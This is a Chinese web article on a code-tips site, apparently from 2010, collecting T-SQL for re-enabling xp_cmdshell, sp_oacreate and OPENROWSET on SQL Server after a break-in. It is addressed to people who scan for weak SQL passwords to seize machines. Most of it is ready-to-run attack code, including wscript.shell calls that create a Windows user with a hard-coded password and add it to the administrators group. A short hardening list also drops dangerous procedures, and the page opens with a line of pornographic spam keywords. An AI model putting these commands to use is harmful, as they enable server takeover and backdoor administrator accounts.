欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

SQL入侵恢復(fù)xp_cmdshell方法總結(jié)

 更新時間:2010年08月04日 12:39:52   作者:  
恢復(fù)xp_cmdshell SQL Server阻止了對組件 'xp_cmdshell' 的過程'sys.xp_cmdshell' 啟用
1433 SQL入侵恢復(fù)xp_cmdshell方法總結(jié)
sql server 2005下開啟xp_cmdshell的辦法
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

SQL2005開啟'OPENROWSET'支持的方法:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;

SQL2005開啟'sp_oacreate'支持的方法:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;

突破SA的各種困難
常見情況恢復(fù)執(zhí)行xp_cmdshell
1 未能找到存儲過程'master..xpcmdshell'.
恢復(fù)方法:查詢分離器連接后,
第一步執(zhí)行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
第二步執(zhí)行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5鍵命令執(zhí)行完畢
2 無法裝載 DLL xpsql70.dll 或該DLL所引用的某一 DLL。原因126(找不到指定模塊。)
恢復(fù)方法:查詢分離器連接后,
第一步執(zhí)行:sp_dropextendedproc "xp_cmdshell"
第二步執(zhí)行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5鍵命令執(zhí)行完畢
3 無法在庫 xpweb70.dll 中找到函數(shù) xp_cmdshell。原因: 127(找不到指定的程序。)
恢復(fù)方法:查詢分離器連接后,
第一步執(zhí)行:exec sp_dropextendedproc 'xp_cmdshell'
第二步執(zhí)行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
然后按F5鍵命令執(zhí)行完畢
四.終極方法.
如果以上方法均不可恢復(fù),請嘗試用下面的辦法直接添加帳戶:
查詢分離器連接后,
2000servser系統(tǒng):
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user dell huxifeng007 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators dell /add'

xp或2003server系統(tǒng):
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user dell huxifeng007 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators dell /add'

--------------
xp_cmdshell新的恢復(fù)辦法
刪除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'

恢復(fù)
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")

這樣可以直接恢復(fù),不用去管sp_addextendedproc是不是存在
-----------------------------
刪除擴展存儲過過程xp_cmdshell的語句:
exec sp_dropextendedproc 'xp_cmdshell'

恢復(fù)cmdshell的sql語句
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

開啟cmdshell的sql語句
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

判斷存儲擴展是否存在
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回結(jié)果為1就ok
恢復(fù)xp_cmdshell
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回結(jié)果為1就ok
否則上傳xplog7.0.dll
exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'

堵上cmdshell的sql語句
sp_dropextendedproc "xp_cmdshell
----------------
刪除sql危險存儲:
復(fù)制代碼 代碼如下:

DROP PROCEDURE sp_makewebtask
exec master..sp_dropextendedproc xp_cmdshell
exec master..sp_dropextendedproc xp_dirtree
exec master..sp_dropextendedproc xp_fileexist
exec master..sp_dropextendedproc xp_terminate_process
exec master..sp_dropextendedproc sp_oamethod
exec master..sp_dropextendedproc sp_oacreate
exec master..sp_dropextendedproc xp_regaddmultistring
exec master..sp_dropextendedproc xp_regdeletekey
exec master..sp_dropextendedproc xp_regdeletevalue
exec master..sp_dropextendedproc xp_regenumkeys
exec master..sp_dropextendedproc xp_regenumvalues
exec master..sp_dropextendedproc sp_add_job
exec master..sp_dropextendedproc sp_addtask
exec master..sp_dropextendedproc xp_regread
exec master..sp_dropextendedproc xp_regwrite
exec master..sp_dropextendedproc xp_readwebtask
exec master..sp_dropextendedproc xp_makewebtask
exec master..sp_dropextendedproc xp_regremovemultistring
exec master..sp_dropextendedproc sp_OACreate
DROP PROCEDURE sp_addextendedproc

/*不狐 附上恢復(fù)擴展存儲過程的辦法

先恢復(fù)sp_addextendedproc,語句如下:
SQL代碼:
復(fù)制代碼 代碼如下:

create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO

再恢復(fù)以上所有擴展存儲過程
SQL代碼:
復(fù)制代碼 代碼如下:

use master
exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'
exec sp_addextendedproc xp_dirtree,'xpstar.dll'
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
exec sp_addextendedproc xp_regread,'xpstar.dll'
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'

SQL Server 阻止了對組件 'xp_cmdshell' 的 過程'sys.xp_cmdshell' 的訪問,因為此組件已作為此服務(wù)器安全配置的一部分而被關(guān)閉。系統(tǒng)管理員可以通過使用 sp_configure 啟用 'xp_cmdshell'。有關(guān)啟用 'xp_cmdshell' 的詳細信息,請參閱 SQL Server 聯(lián)機叢書中的 "外圍應(yīng)用配置器"。
經(jīng)常掃SQL弱口令肉雞的朋友應(yīng)該遇見過這樣的問題 !
接下來我們用SQL語句搞定他
分析器執(zhí)行的語句:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE

相關(guān)文章

  • SQL Server 事務(wù),異常和游標詳解

    SQL Server 事務(wù),異常和游標詳解

    這篇文章主要為大家介紹了SQLServer事務(wù),異常和游標,具有一定的參考價值,感興趣的小伙伴們可以參考一下,希望能夠給你帶來幫助
    2022-01-01
  • SqlServer?多種分頁方式?詳解(含簡單速度測試)

    SqlServer?多種分頁方式?詳解(含簡單速度測試)

    這篇文章主要介紹了SqlServer?多種分頁方式?(含簡單速度測試),附帶50萬數(shù)據(jù)分頁時間[本機訪問|已重啟SQL服務(wù)|無其他程序干擾][非索引排序],需要的朋友可以參考下
    2022-12-12
  • SQLServer 數(shù)據(jù)庫故障修復(fù)頂級技巧之一

    SQLServer 數(shù)據(jù)庫故障修復(fù)頂級技巧之一

    SQL Server 2005 和 2008 有幾個關(guān)于高可用性的選項,如日志傳輸、副本和數(shù)據(jù)庫鏡像。
    2010-04-04
  • 深入理解SQL盲注

    深入理解SQL盲注

    本文主要介紹了深入理解SQL盲注,主要介紹了布爾盲注和時間盲注,文中通過示例代碼介紹的非常詳細,對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2024-01-01
  • 談?wù)凾empdb對SQL Server性能優(yōu)化有何影響

    談?wù)凾empdb對SQL Server性能優(yōu)化有何影響

    由于tempdb是SQLServer的系統(tǒng)數(shù)據(jù)庫一直都是SQLServer的重要組成部分,用來存儲臨時對象,在數(shù)據(jù)庫中起到舉足輕重的作用,此篇文章給大家?guī)韙empdb對sql server性能優(yōu)化的影響,感興趣的朋友參考下
    2015-11-11
  • SQL Server實現(xiàn)跨庫跨服務(wù)器訪問的方法

    SQL Server實現(xiàn)跨庫跨服務(wù)器訪問的方法

    這篇文章主要給大家介紹了關(guān)于SQL Server實現(xiàn)跨庫跨服務(wù)器訪問的方法,文中通過示例代碼介紹的非常詳細,對大家學(xué)習(xí)或者使用SQL Server具有一定的參考學(xué)習(xí)價值,需要的朋友們下面來一起學(xué)習(xí)學(xué)習(xí)吧
    2019-06-06
  • sql server關(guān)鍵字詳解大全(圖文)

    sql server關(guān)鍵字詳解大全(圖文)

    在sqlserver中比較常見的關(guān)鍵字有很多,下面小編主要給大家介紹sql server關(guān)鍵字詳解,需要了解的朋友可以一起來學(xué)習(xí)
    2015-08-08
  • 詳解將DataGrip連接到MS SQL Server的方法

    詳解將DataGrip連接到MS SQL Server的方法

    這篇文章主要介紹了詳解將DataGrip連接到MS SQL Server的方法,文中通過示例代碼介紹的非常詳細,對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2019-11-11
  • sql中exists的基本用法示例

    sql中exists的基本用法示例

    關(guān)于exists的用法,相信很多人都有點迷糊,一開始我也犯迷糊,看了多篇博客和進行多次實驗之后,其實理解exists的用法并沒有那么困難,下面這篇文章主要給大家介紹了關(guān)于sql中exists基本用法的相關(guān)資料,需要的朋友可以參考下
    2022-08-08
  • SQL SERVER使用表分區(qū)優(yōu)化性能

    SQL SERVER使用表分區(qū)優(yōu)化性能

    這篇文章介紹了SQL SERVER使用表分區(qū)優(yōu)化性能的方法,對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2022-04-04

最新評論